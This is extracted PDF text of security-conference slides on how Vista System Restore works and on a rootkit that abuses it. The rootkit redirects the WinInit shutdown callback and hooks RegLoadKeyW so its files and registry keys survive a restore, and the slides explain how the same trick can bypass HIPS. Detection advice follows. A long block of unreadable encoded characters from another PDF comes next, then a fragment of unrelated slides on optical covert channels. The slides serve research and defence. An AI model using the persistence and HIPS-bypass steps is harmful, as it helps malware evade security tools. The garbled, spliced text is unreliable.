Vista system restore Vista system restore rootkit rootkit Principle and protection Principle and protection Edward Sun Edward Sun PDF created with pdfFactory Pro trial version www.pdffactory.com About speaker About speaker u u Network ID : Network ID : CardMagic CardMagic u u Author of Author of DarkSpy DarkSpy anti anti--rootkit rootkit u u Posted several articles on Posted several articles on rootkit.com rootkit.com u u R&D of some world famous kernel level R&D of some world famous kernel level products in global companies products in global companies u u Experienced in Windows kernel mode Experienced in Windows kernel mode research and programming research and programming u u Now is a researcher of Trend Micro threat Now is a researcher of Trend Micro threat solution team solution team PDF created with pdfFactory Pro trial version www.pdffactory.com What will be introduced What will be introduced u u Internals of Vista system restore Internals of Vista system restore u u A user A user--mode mode rootkit rootkit to hide arbitrary file to hide arbitrary file or registry key from Windows Vista or registry key from Windows Vista system restore system restore u u A new way to bypass modern HIPS A new way to bypass modern HIPS u u Detection and protection of the threat Detection and protection of the threat PDF created with pdfFactory Pro trial version www.pdffactory.com Agenda Agenda u u Vista system restore (VSR) introduction Vista system restore (VSR) introduction u u VSR internals VSR internals u u VSR VSR rootkit rootkit u u A new way to bypass HIPS A new way to bypass HIPS u u Protect & detect VSR Protect & detect VSR u u Demo Demo PDF created with pdfFactory Pro trial version www.pdffactory.com Vista system restore (VSR) Vista system restore (VSR) introduction introduction u u VSR allows user to use restore point to return VSR allows user to use restore point to return their system files and settings to an earlier point their system files and settings to an earlier point in time in time u u System restore in Vista has been enhanced a lot System restore in Vista has been enhanced a lot and use new architecture & implementation and use new architecture & implementation which is different from XP which is different from XP’’ss u u System Restore can make changes to Windows System Restore can make changes to Windows system files, registry settings, and programs system files, registry settings, and programs installed on your computer. It also can make installed on your computer. It also can make changes to scripts, batch files, and other types of changes to scripts, batch files, and other types of executable files on your computer executable files on your computer PDF created with pdfFactory Pro trial version www.pdffactory.com VSR internals VSR internals u u But how does VSR work? Microsoft hasn But how does VSR work? Microsoft hasn’’t t provided detail document about how it works . provided detail document about how it works . u u We will introduce t We will introduce the whole process in three he whole process in three phases phases 1. 1. CCreate reate restore point restore point (when you click (when you click ““Create Create”” button) button) 2. 2. Serve a restore request Serve a restore request (when you click (when you click ““Restore Restore”” button) button) 3. 3. Shutdown & Startup Shutdown & Startup (when the system shuts down after (when the system shuts down after you clicking you clicking ““Restore Restore””)) PDF created with pdfFactory Pro trial version www.pdffactory.com u u CCreate reate restore point restore point Rely on shadow copy mechanism to create a Rely on shadow copy mechanism to create a volume shadow copy, see the call stack of volume shadow copy, see the call stack of SRSetRestorePoint SRSetRestorePoint PDF created with pdfFactory Pro trial version www.pdffactory.com Shadow copy Shadow copy Implemented with disk filter Implemented with disk filter -- -- Volsnap.sys Volsnap.sys It can back up original sector when it finds any It can back up original sector when it finds any writer writer’’s modification action and provide backup s modification action and provide backup application a point in time view of a volume application a point in time view of a volume E.g. if E.g. if application(writer application(writer) has written ) has written a,b,d a,b,d, the original , the original copy of these sectors are kept by shadow copy service in copy of these sectors are kept by shadow copy service in storage. When backup application accesses the three storage. When backup application accesses the three sectors, shadow copy service will route the request to sectors, shadow copy service will route the request to original copy. However, when c is requested, the service original copy. However, when c is requested, the service will direct the request to real volume. will direct the request to real volume. PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com Associated shadow copy files located here: Associated shadow copy files located here: Backup file id matches the name of shadow volume device name PDF created with pdfFactory Pro trial version www.pdffactory.com u u Serve a restore request Serve a restore request When backup program calls restoration method, When backup program calls restoration method, two processes will be launched : two processes will be launched : WmiPrvSE.exe WmiPrvSE.exe( to hold ( to hold srwmi.dll srwmi.dll) , ) , dllhost.exe(to dllhost.exe(to hold hold srcore.dll srcore.dll)) PDF created with pdfFactory Pro trial version www.pdffactory.com Then the control transferred to Then the control transferred to srwmi.dll srwmi.dll -- -- CSrWMIProvider::Restore CSrWMIProvider::Restore This method will involve This method will involve srcore.dll srcore.dll:: CreateInstance here Clsid Corresponding Registry key PDF created with pdfFactory Pro trial version www.pdffactory.com srcore.dll srcore.dll will do some preparation and will do some preparation and configuration work and then call its internal configuration work and then call its internal interface _ interface _RegisterForShutdownContinuation RegisterForShutdownContinuation.. This routine will create This routine will create WinInit WinInit key and register a key and register a callback function for Windows shutdown. And the callback function for Windows shutdown. And the key looks like key looks like The routine will be called for shutdown restoration logic PDF created with pdfFactory Pro trial version www.pdffactory.com u u Shutdown & Startup Shutdown & Startup The Shutdown Call back: The Shutdown Call back: When system shuts down, the When system shuts down, the ShutdownContinuation ShutdownContinuation will will be called, and this callback routine is exported by be called, and this callback routine is exported by srcore.dll srcore.dll. . In this routine, it will parse shadow volume information and In this routine, it will parse shadow volume information and restore various system elements. The main restore logic restore various system elements. The main restore logic include two parts : include two parts : PDF created with pdfFactory Pro trial version www.pdffactory.com a. Registry restore : a. Registry restore : The registry restore is based on hive file: The registry restore is based on hive file: srcore srcore will firstly rename the original hive file and then copy will firstly rename the original hive file and then copy the backed hive file from volume shadow copy. The original the backed hive file from volume shadow copy. The original hive file will be renamed as hive file will be renamed as xxxx_previous xxxx_previous, and after reboot , and after reboot system will use the backed hive file. system will use the backed hive file. PDF created with pdfFactory Pro trial version www.pdffactory.com b. File restore: b. File restore: Modified file will be restored immediately, excepted Modified file will be restored immediately, excepted inaccessible file. inaccessible file. For inaccessible file : For inaccessible file : srcore srcore will firstly copy the old version file to the restore folder an will firstly copy the old version file to the restore folder and d name it like : name it like : Then it will register an Then it will register an autorun autorun program called program called srdelayed.exe srdelayed.exe which will be executed when system starts up, and meanwhile log which will be executed when system starts up, and meanwhile log the operations which will be done by the operations which will be done by srdelayed.exe srdelayed.exe in <System in <System volume information> volume information>\\systemrestore systemrestore\\DelayedOperations DelayedOperations. . srdelayed.exe srdelayed.exe will overwrite the inaccessible file later with the will overwrite the inaccessible file later with the copied file. copied file. Show result : Show result : Finally,srcore Finally,srcore will register an will register an autorun autorun entry under < entry under <RunOnce RunOnce> key > key to execute to execute rstrui.exe rstrui.exe to show the restore status when user enter to show the restore status when user enter system next time. system next time. PDF created with pdfFactory Pro trial version www.pdffactory.com Startup : Startup : In the startup, Windows will run In the startup, Windows will run srdelayed.exe srdelayed.exe to do some to do some remaining post actions (e.g. move the copied file to remaining post actions (e.g. move the copied file to overwrite the file which is inaccessible in previous restore). overwrite the file which is inaccessible in previous restore). And then run And then run rstrui.exe rstrui.exe to show restore result to user. to show restore result to user. PDF created with pdfFactory Pro trial version www.pdffactory.com VSR VSR rootkit rootkit u u Purpose : Purpose : survive after the system restore survive after the system restore hide following items from system restore: hide following items from system restore: 1. registry items 1. registry items 2. executables 2. executables PDF created with pdfFactory Pro trial version www.pdffactory.com u u Approach : Approach : 1. How this 1. How this rootkit rootkit intercept the restore process: intercept the restore process: Thru shutdown call back hooking : Thru shutdown call back hooking : Microsoft has passed the restore function name Microsoft has passed the restore function name and module under and module under WinInit WinInit as described before : as described before : PDF created with pdfFactory Pro trial version www.pdffactory.com This key will be set when the system requests a restore. If This key will be set when the system requests a restore. If rootkit rootkit dynamically modifies this key to point to its module dynamically modifies this key to point to its module and routine when after system sets this key, guess what and routine when after system sets this key, guess what will happen ? will happen ? Yes, the Yes, the rootkit rootkit’’ss module will be loaded, Microsoft has no module will be loaded, Microsoft has no checking on the module. checking on the module. 2. How can it continue the system restore: 2. How can it continue the system restore: It loads It loads srcore.dll srcore.dll internally ,and call internally ,and call ShutdownContinuation ShutdownContinuation exported by exported by srcore srcore itself. itself. PDF created with pdfFactory Pro trial version www.pdffactory.com 3. How can it make file survive? 3. How can it make file survive? It loads file in memory before calling It loads file in memory before calling ShutdownContinuation ShutdownContinuation exported by exported by srcore.dll srcore.dll, and restore the files from memory , and restore the files from memory to disk after the calling. (because all files and to disk after the calling. (because all files and registery registery items are restored in the calling) items are restored in the calling) 4. How can it make registry item survive? 4. How can it make registry item survive? This is relatively difficult, but still easy for a This is relatively difficult, but still easy for a rootkit rootkit author. author. As described before, OS will rename original hive to a new As described before, OS will rename original hive to a new name ,and copy restored hive to the location. name ,and copy restored hive to the location. However, after these operations in calling of However, after these operations in calling of ShutdownContinuation ShutdownContinuation exported by exported by srcore.dll srcore.dll, both the , both the restored hive file and renamed hive file will be locked. restored hive file and renamed hive file will be locked. PDF created with pdfFactory Pro trial version www.pdffactory.com What VSR does to solve the locking problem is to hook IAT What VSR does to solve the locking problem is to hook IAT of of srcore.dll srcore.dll to intercept the call : to intercept the call : RegLoadKeyW RegLoadKeyW In its hooking procedure of In its hooking procedure of RegLoadKeyW RegLoadKeyW, it will follow the , it will follow the below steps : below steps : For registry hive it wants to hide items in: For registry hive it wants to hide items in: a. load the key ourselves to a temp key before calling the a. load the key ourselves to a temp key before calling the real real RegLoadKeyW RegLoadKeyW b. do recovery (write b. do recovery (write rootkit rootkit protected registry items to protected registry items to registry) under temp key registry) under temp key c. unload the key c. unload the key d. pass the call control to real d. pass the call control to real RegLoadKeyW RegLoadKeyW and return and return For registry hive it doesn For registry hive it doesn’’t want to hide any item in, just t want to hide any item in, just simply pass the call control to real simply pass the call control to real RegLoadKeyW RegLoadKeyW and and return. return. PDF created with pdfFactory Pro trial version www.pdffactory.com A new way to bypass HIPS A new way to bypass HIPS u u Malware author might benefit from shutdown call Malware author might benefit from shutdown call back hook to bypass commercial HIPS back hook to bypass commercial HIPS u u The theory : The theory : 1. Malware initiates a restore from any restore point, and 1. Malware initiates a restore from any restore point, and modify restore module and routine to point to malicious modify restore module and routine to point to malicious ones. ones. 2. When user shuts down his computer, malicious module 2. When user shuts down his computer, malicious module will be called, and malware can do anything they want (E.g. will be called, and malware can do anything they want (E.g. create malicious create malicious autorun autorun key) without popup of HIPS in its key) without popup of HIPS in its module. module. PDF created with pdfFactory Pro trial version www.pdffactory.com u u But there might be some concerns: But there might be some concerns: 1. Will user notice if the shutdown takes long time to 1. Will user notice if the shutdown takes long time to complete? (Because the restoration will happen during complete? (Because the restoration will happen during system shuts down) system shuts down) No, because malware will not need to call original No, because malware will not need to call original ShutdownContinuation ShutdownContinuation for any restore actions. This will for any restore actions. This will make the shutdown very quick. make the shutdown very quick. 2. How malware solves Vista 2. How malware solves Vista’’s popup for restore error next s popup for restore error next time when user logs on if it doesn time when user logs on if it doesn’’t call original t call original ShutdownContinuation ShutdownContinuation ?? This can be done by deletion of run key This can be done by deletion of run key rstrui.exe rstrui.exe under under < <RunOnce RunOnce> > PDF created with pdfFactory Pro trial version www.pdffactory.com Protect & detect VSR Protect & detect VSR u u Microsoft needs to use more secure Microsoft needs to use more secure parameter passing method (e.g. do parameter passing method (e.g. do signature verification for calling module) signature verification for calling module) u u For commercial HIPS to protect VSR For commercial HIPS to protect VSR intrusion , they need to monitor the intrusion , they need to monitor the WinInit WinInit modification by a malware. modification by a malware. But the challenge is : Microsoft might still But the challenge is : Microsoft might still leaves some other places to implement leaves some other places to implement VSR. VSR. PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com For detection of the VSR, security providers can use the For detection of the VSR, security providers can use the cross cross--compare technology for compare technology for rootkit rootkit detection. detection. In order to get the real view of files & In order to get the real view of files & reg reg keys that system keys that system restore should restore, they can access the volume shadow restore should restore, they can access the volume shadow copy to enumerate the files & copy to enumerate the files & reg reg keys in restore point. keys in restore point. How can they access ? How can they access ? Just use Win32 API (e.g. Just use Win32 API (e.g. FindFirstFile FindFirstFile), but pass the path ), but pass the path parameter like: parameter like: \\\\..\\HarddiskVolumeShadowCopy2 HarddiskVolumeShadowCopy2\\Windows Windows\\system32 system32 (But the media is just read (But the media is just read--only) only) PDF created with pdfFactory Pro trial version www.pdffactory.com Thanks Thanks Q & A Q & A PDF created with pdfFactory Pro trial version www.pdffactory.com
pdf
                 ! " # $ % &  # ' ( ) ) * ) + * ) , ( - ' ( ) ' . + % / 0 1 2 3 4 5 2 6  7 8  8 " #  # 7 9 "  9 : 7 ; 8  " 7 " # 9 ; < = # 7 9 " # 9 #   = # 9 " 7 = " # > 9 ? 8  8 " # 9 "   # @ 9 ;   < # 9 @ 9 A 7  8 ! 6  8 " # > 9 ? 8 > 7   A ; 8 = 7 A ;  9 9 8  B C 9   9 > 7 " D #  E F G @ 9 ;  9 C " # > 9 ? 7 " D ! H 9 @ @ 9 " < 8 8 9 C #  8 " # > 9 ? 8 > 7   A  8 " # ; I  " ; #   7 :  = B 7 @   7 =  # 7 9 " 8 9 C 8 9 @ < 8 8 > 7   A J < 8 # 7 9 " ; ! 6   8 " #  # 7 9 " > 7   = 9 " =  < ; > 7 #   " 7 " # 9 ; < = # 7 9 " # 9 E  " E # # 9 I  C 8 9 C # >   " ;   ; >   9 K = # 7 @   @ " # 7 " D #  " # > 9 ?  9 # 9 = 9  8  : 7 9 < 8  B ; 8 = 7 A ; ! L M N O P Q R S T U V W X Y Z [ \ Y ] Y ^ _ Y ` a b c _ d e L f g h i j k j i l m n o n i p j q r s f t u v w u x v y • z A 9 < # #  8   ? • {  B 8  9 <  ; G =  | • }  = ? D 9 < " ; 9 "  < # 9 @ 9 # 7 :  = # 9 " 7 = 8 • E } & ( ~ H 9 @ @ 9 " < 8  D ~   B 8 7 =    " ; ;  #   7 " ? ~ & 7  D " 9 8 # 7 = @ 9 ; 8 ~ €  7 8 # 7 " D  9 ; < = # 8 • E  " E # # 9 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ f g h i j k j i l m n o n i p j q r s f ™ š › œ   ž v Ÿ v ¡ ¢ v w • € ; < =  # ; 7 " €  = # 7 =    " ; H 9 @  < # € " D 7 " 7 " D •  9 C 8 8 7 9 "     7 " = 7 "   ; >   " ; 8 9 C # >  ; 8 7 D " • F  # < ;  B  C # " 9 9 " @ =   " 7 = • H 9 " = " ;  A 9 < #  7 :  = B f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f £ f g h i j k j i l m n o n i p j q r s f ž ¤ Ÿ ž › œ ¥ ¦ § ¨ ¡ w v © • z < # 9 @ 9 A 7  @  7 " # "  " = @ 9 " 9  9  B ~ F : 7 = @  " <   8  9 : 7 ; @ =   " 7 =   ;  > 7 " D 8 > 7 #  D  #  = = <  = B ~ ª 7 @ 7 # ;  = # 9 " 7 = 8 =  @  # 7 = 8 I  7 @ 7 # ;  9 # 9 = 9  8  = 7 « =  # 7 9 " 8 I " 9 8 9 < = = 9 ; •  7 :  = B 7 @   7 =  # 7 9 " 8 ~ {   # ; 9 8  :  7 =  = 9 ; | • ¬  7 =  @ 9 < " ; = 9 " # 9  9 C @  " < C  = # < #   " 9 > " f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ­ f g h i j k j i l m n o n i p j q r s f ® ¡ ¯ ¢ ° w › œ ± ¦ › ² ™ œ  › ³ ›  x u v ´ ¥ v ¯  w › ± x ¯ µ • ¶ " ; #   9 9 ; ~ H 9 " # 9   8 C 9 C <  7 " K = # 7 9 " I  " # 7 ·  9 = ? A  ? 8 I #  = # 7 9 " = 9 " # 9  I  7 A  D 8 • ¶ 8 : 7 8 7 A  ~ H  7 @  # = 9 " # 9  I " # #  7 " @ " # I "  : 7 D  # 7 9 " I = 9 @ @ < " 7 =  # 7 9 " • E " · } 9  ; & 7  D " 9 8 # 7 = 8 ¸ E } & ¹ ~ G @   @ " #  # 7 9 " " 9 # 8 #  " ;  ; 7 º ; • E " · } 9  ; & 7  D " 9 8 # 7 = 8 ¸ E } & ( ¹ ~ F #  " ;  ; 7 º ; A B F 9 = 7 # B 9 C z < # 9 @ 9 # 7 : € " D 7 " 8 ¸ F z € ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f “ f g h i j k j i l m n o n i p j q r s f Ÿ ¯ › v › ² Ÿ ™ ´ t ® » ¼ •   B 8 7 =   = 9 " " = # 9 • &  #   7 " ?   B ¸ #  9  # 7 9 " 8 ¹ I " # > 9 ?  9 # 9 = 9  • & 7  D " 9 8 # 7 = 8 ~ € @ 7 8 8 7 9 " = 9 " # 9  8 B 8 # @ 8 J < 7 ; A B ¶ ! F ! ½ ;     > ~ F #  " ;  ;  " ; @  " < C  = # < 8  = 7 « = = 9 @  9 " " # 8 • ¾  " B   = ? # C 9 @  # 8  " ; ;  #  # B  8 C 9 ; 7  D " 9 8 # 7 = ;  #  • ¿  ;  " ; > 7 # € H ¶ @ @ 9 B • F = < 7 # B C  # < f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f À f g h i j k j i l m n o n i p j q r s f ¨ › ³ ³ › ± Á µ ¡ ° v  Ÿ ¯ ¡ ± à › › ¥ • €  = # 9 " 7 = = 9 " # 9  < " 7 # ¸ € H ¶ ¹ ; # = # 8 C  <  # = 9 " ; 7 # 7 9 " ~ ! D ! I 9  B D " 8 " 8 9 ; # = # ; @ 7  # < # 9 9 7 =  • & 7  D " 9 8 # 7 = # 9 < A  = 9 ; ¸ & 6 H ¹ 7 8 8 # 9 ; • H  = ? " D 7 "  7 D  # 7   < @ 7 "  # 8 I ;  " ; 7 " D 9 " & 6 H • ¾ =   " 7 = # 7 : 8 & 6 H > 7 #   8 =  " # 9 9  • ¾ =   " 7 = «  8  9 A  @  " ; =   8 & 6 H f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f Ä f g h i j k j i l m n o n i p j q r s f ¨ › ³ ³ › ± Á µ ¡ ° v  ¨ w ¡ µ ž » ¡  ¡ Å v ¯ › w ¦ v w • z 7 A  D = 9 " # 9  @ 9 ; <  8 " 8 8 ;   9 B @ " # 9 " 9 " · ;   9 B @ " # : " # • ¬  7 =  8 " 8 9 ;  #  7 8 8 # 9 ; 7 "  7 A  D = 9 " # 9  @ 9 ; <  ~ ! D ! I :  7 =  8  ; I " D 7 " 8  ; I #  9 # #   9 8 7 # 7 9 " I A  ? 8 #  # I ; 7 : Æ 8 8  # A  # • ¾ =   " 7 = 9   > " C 9 = @ " # ; 9 > "  9  ; 8 =  8  ;  #  C 9  "   B 8 7 8 • G C :  7 =  7 8   7 ; I  7 A  D = 9 " # 9  @ 9 ; <  7 8 8 # 9    = ; f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f Ç f g h i j k j i l m n o n i p j q r s f È ž ¤ µ x ¯ ¡ ¥ É ¡ ¤ v w Ê » x ¡ ° ± › µ  x ¯ ® œ µ µ v µ •  { ¾ ·  <  8 { 7 ; #  ¾ 9 ; <   # 7 9 " ¸ Ë ! Ì ? A  8 ¹ ~ = 9 @ @ 9 "  B < 8 ; A B ½ 9 ; • ¬  { · ¬  7  A   <  8 { 7 ; #  ¾ 9 ; <   # 7 9 " ¸ Ë ) ! ? A  8 ¹ ~ = 9 @ @ 9 "  B < 8 ; A B Í ¾ • G F E · z 8 B " =  9 " 9 < 8 F 7   ¸ Ë ) ! ? A  8 ¹ ~ = 9 @ @ 9 "  B < 8 ; A B H  B 8  I 7 @  9 # 8 ¸ € < 9   " I Î    " 8 ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f Ï f g h i j k j i l m n o n i p j q r s f È ž ¤ µ x ¯ ¡ ¥ É ¡ ¤ v w Ê t  ž v w • H z Ð · H 9 " # 9   z  Ð # > 9 ? ~ Ñ 7 D  8  ; ¸ . ) ) ? A  8 ¹ • 9 #  ¸ " 9 # E } & ( ¹ ~ Ò {  ( ) ) ) ¸ G F E 8 #  " ;  ; ¹ ~ @  " < C  = # <  9  7 #  B f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ” f g h i j k j i l m n o n i p j q r s f » ¡  ¡ É x ± ¢ É ¡ ¤ v w • E } & (  " ; G F E ¸ G F E Ë Ë ¹ • Ñ   C ; <    ¸ 8   ; ¹ A < 8 • H  7 8 " 8 @ <  # 7    = = 8 8 ¸ H F ¾ z ¹ I " 9 " · ; 8 # < = # 7 : = 9   7 8 7 9 " 8 •  7 9 7 # B 7 "   = ? #   ; 8  = 7 « ; 8 9  7 D   7 9 7 # B   = ? # 8  :  7  f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ó f g h i j k j i l m n o n i p j q r s f Ô v  y › w ¢ É ¡ ¤ v w • z ; ; 8 8 7 " D @ 9 ; 8 ~ ½ < " = # 7 9 "   ~   B 8 7 =   •   = ? # C 9 @  # ~ & 7  D " 9 8 # 7 = @ 9 ; 8 ' < " # 8 # 8 I J < B 8 " 8 9 I = 9 " # 9  9 < #  < # 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ ˜ f g h i j k j i l m n o n i p j q r s f » ¡  ¡ Õ › w ³ ¡  µ • F =   7 " D I  7 @ 7 # I 9 Ö 8 # I #  A  ¸ F ª E 6 ¹ ~ ¾   8  > ;  #  A 7 # 8 * A B # 8 # 9 @  " 7 " D C <  @  D " 7 # < ; ~ ! D ! I , · A 7 # :   <  8 " # 8 · ) # 9 , + ! . > 7 #  ) ! . 7 " = @ " # 8 •    @ # C " = " < @ A ¸  ¿ Ð ¹ ~ ¾   8   = ? # ;  #  # 9 < 8 C <  J <  " # 7 # 7 8 ~ G " =  < ; 8 F ª E 6 ¸ C 9 @  D " 7 # < ; ¹ I < " 7 # 8 I   A  * ; 8 = 7  # 7 9 " f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ £ f g h i j k j i l m n o n i p j q r s f » x ¡ ° ± › µ  x ¯ × › ¦ v µ • ¿ J < 8 # 8 " 8 9 I ; 7  D " 9 8 # 7 = ;  #  • ½ º C  @ =    A 7  7 # B ~ F # # 7 D D 8 I  ; C º C  @ ;  #  • ¿  ;  " ; =   & 6 H 8 • E " · A 9  ; @ 9 " 7 # 9 7 " D  " ; ; 7  D " 9 8 # 7 = # 8 # 8 ~ H 9 " # 7 " < 9 < 8  B  " ; " 9 " · = 9 " # 7 " < 9 < 8  B @ 9 " 7 # 9 ; 8 B 8 # @ 8 ~ G " 7 # 7  # # 8 # I  ; 8 <  # 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ ­ f g h i j k j i l m n o n i p j q r s f » x ¡ ° ± › µ  x ¯ × › ¦ v µ Ø ¯ › ±  Ù ¦ Ú • ¿  ; :  7 =  7 " C 9 @  # 7 9 " ~ ¬  7 =  7 ; " # 7 « =  # 7 9 " " < @ A ¸ ¬ G Ð ¹ I =   7 A  # 7 9 " ;  #   " ; @ @ 9 B =  = ? 8 < @ • ¶   9  ;  " ; ; 9 > "  9  ; @ @ 9 B # 9 € H ¶ 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ “ f g h i j k j i l m n o n i p j q r s f ´ Û x µ  x ± ° È w › ¦ œ ¯  µ Ê Ü ¡ w ¦ y ¡ w v •  9  7 #  B C <   7 " # C  =  9 ; < = # 8 ~ Ñ 7 D   B C < " = # 7 9 "   I : B   " 8 7 : • H 9 @   # ; : 7 = 8 · < 8 <    B 8 7   # 9 ; 7  D " 9 8 # 7 = A < 8 • H 9 @  9 " " # 8 ·   8 9 < 8 <    B 8 7   # 9 ; 7  D " 9 8 # 7 = A < 8 • ½ ; 8 7 D " 8 ·  C > 6 G z · ( - ( # 9 G F E 7 " # C  = 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ À f g h i j k j i l m n o n i p j q r s f ´ Û x µ  x ± ° È w › ¦ œ ¯  µ Ê Ÿ › ²  y ¡ w v • Ð < @ 9 < 8 = 9 @ @ = 7    " ; 8   >   9 ; < = # 8 ~ F #  " ;  ; 8 <   9 # 7 8 @ 9 8 # = 9 @ @ 9 " ~ F 9 @ 8  = 7   7 º ; C 9 :  7 =  @  " < C  = # < • C ; 7  D Ý ( Þ ~ ½ 8 9 C # >  ¸ Í  ª ¹ ~ F <   9 # 8 A  8 7 = 8 =  " # 9 9  9   # 7 9 " I ; 7  D " 9 8 # 7 =  9 = ; < 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ä f g h i j k j i l m n o n i p j q r s f t v ± t   › • Ñ  ; >  ~ 6 G z · ( - ( # 9 G F E A < 8 ~ ¿  <  9 8 ; ¶ F } 8 7    ;   # • F 9 C # >  ~ ª  B (  " ; - " # > 9 ? 8 #  = ? ~ z    7 =  # 7 9 " 8 9 C # >  • ½ 8 9 C # >  *   ; >  ¸ Í  ª ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ç f g h i j k j i l m n o n i p j q r s f t v ± t   › Ô v  y › w ¢ Ÿ  ¡ ¯ ¢ • H 9 @ @ 9 " z  G  = 9 8 8 " # > 9 ? 8 •   B 8 7 =     B ~ G F E I ¸ ¬  { I  { ¾ I H z Ð ¹ • &  #   7 " ?   B ~ E } & ( • Ð # > 9 ?   B ~ E } & ( I ¸ @  " < C  = # <  # " 8 7 9 " 8 ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ï f g h i j k j i l m n o n i p j q r s f t v ± t   › ™ ¥ x ¯ ¡  x › ± µ • F =  " # 9 9  • Ð # > 9 ?  9 A  " ;  9 D D 7 " D # 9 9  ¸    # =  ; < @  I " @   I # = ! ¹ ~ €    9 < " 7 ; " # 7 « ; € H ¶ 8 I < " ? " 9 > "   = ? # C 9 @  # 8 • Ñ 7 D   :  @ 9 " 7 # 9 7 " D  " ; = 9 " # 9  ~ €    " ; ; ; 7  D " 9 8 # 7 = 8 ~ ª 9 D D 7 " D ~ H 9 " « D <  A  ¶ G C 9 ; #  7  ; ;  8  A 9  ; f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ ” f g h i j k j i l m n o n i p j q r s f ¨ › ± ¯ ¥ œ µ x › ± Å v ² v w v ± ¯ v µ Ý Ë Þ ß à á â ã ä å æ ç è ä é à ã ê ë è ì ê í ã å î è é ï ë ä à æ ð ñ æ è ò ó ç ò ë ô õ ñ ï è ì ö ñ ê ÷ ë ä à æ ä å æ ê ð ä à ò ä ö ø ÷ ù ú û ÷ á ü ý ý ý ! F 9 = 7 # B 9 C z < # 9 @ 9 # 7 : € " D 7 " 8 I G " = !  # #  ' * * > > > ! 8  ! 9 D Ý ( Þ þ ÿ      z 8 < 7 # 9 C :  7 =  ; 7  D " 9 8 # 7 =  9 # 9 = 9  8  " ;  " E } & G G ¸ @ 9 8 #  B ¹ = 9 @   7  " # F =  " 6 9 9  !  # #  ' * * C ; 7  D ! 8 9 < = C 9 D ! " # * Ý - Þ     z " 9  " 7 @   @ " #  # 7 9 " 9 C  < # 9 @ 9 # 7 : = 9 @ @ < " 7 =  # 7 9 "  " ; ; 7  D " 9 8 # 7 =  9 # 9 = 9  8 !  # #  ' * * > > > !   ! " # *  9 K = # 8 * 9  " 9 # # 9 * f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f £ Ó f g h i j k j i l m n o n i p j q r s f ¨ › ¤ w x ° ž  H 9  B 7 D  # ¸ = ¹ ( ) ) Ð 9 #  7 " D C  = 6  7 8 ; 9 = < @ " # 7 8 C 8 9 C # >  B 9 < =  " ; 7 8 # 7 A < # 7 #  " ; * 9 @ 9 ; 7 C B 7 # < " ; #  # @ 8 9 C #  Í Ð ¶ Í "    < A  7 = ª 7 = " 8  8  < A  7 8  ; A B #  ½ F 9 C # >  ½ 9 < " ;  # 7 9 " 7 #  : 8 7 9 " ( 9 C #  ª 7 = " 8 I 9 ¸  # B 9 < 9  # 7 9 " ¹  " B   # : 8 7 9 " !                       !   "  #  f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f £ ˜
pdf
Searching for the Light: Adventures w/ OpticSpy Joe Grand (@joegrand) Hacker, Engineer, Daddy OpticSpy ! Optical receiver to convert light into voltage ! Wavelength: Visible and near IR light (420-940nm) ! Signal speed: 100Hz-1.5MHz ! Data stream polarity: Select normal v. inverted ! Gain and threshold adjustment via potentiometers ! USB interface for direct connection to host PC Covert Channels ! Hidden methods to intentionally exfiltrate/transfer data from a normally functioning system ! Could be achieved with HW and/or FW modification ! Specifications modified or misdesigned before manufacturing ! On physical device during manufacturing or in- the-field ! Hardware implant via interdiction Exploiting the Environment ! Leakage based on optical, acoustic, thermal, or RF characteristics of a system ! Soft Tempest: Hidden Data Transmission Using Electromagnetic Emanations (Kuhn, Anderson) ! Emanate Like a Boss: Generalized Covert Data Exfiltration with Funtenna (Cui) ! Inaudible Sound as a Covert Channel in Mobile Devices (Deshotels) ! BitWhisper: Covert Signaling Channel between Air-Gapped Computers using Thermal Manipulations (Guri et al.) 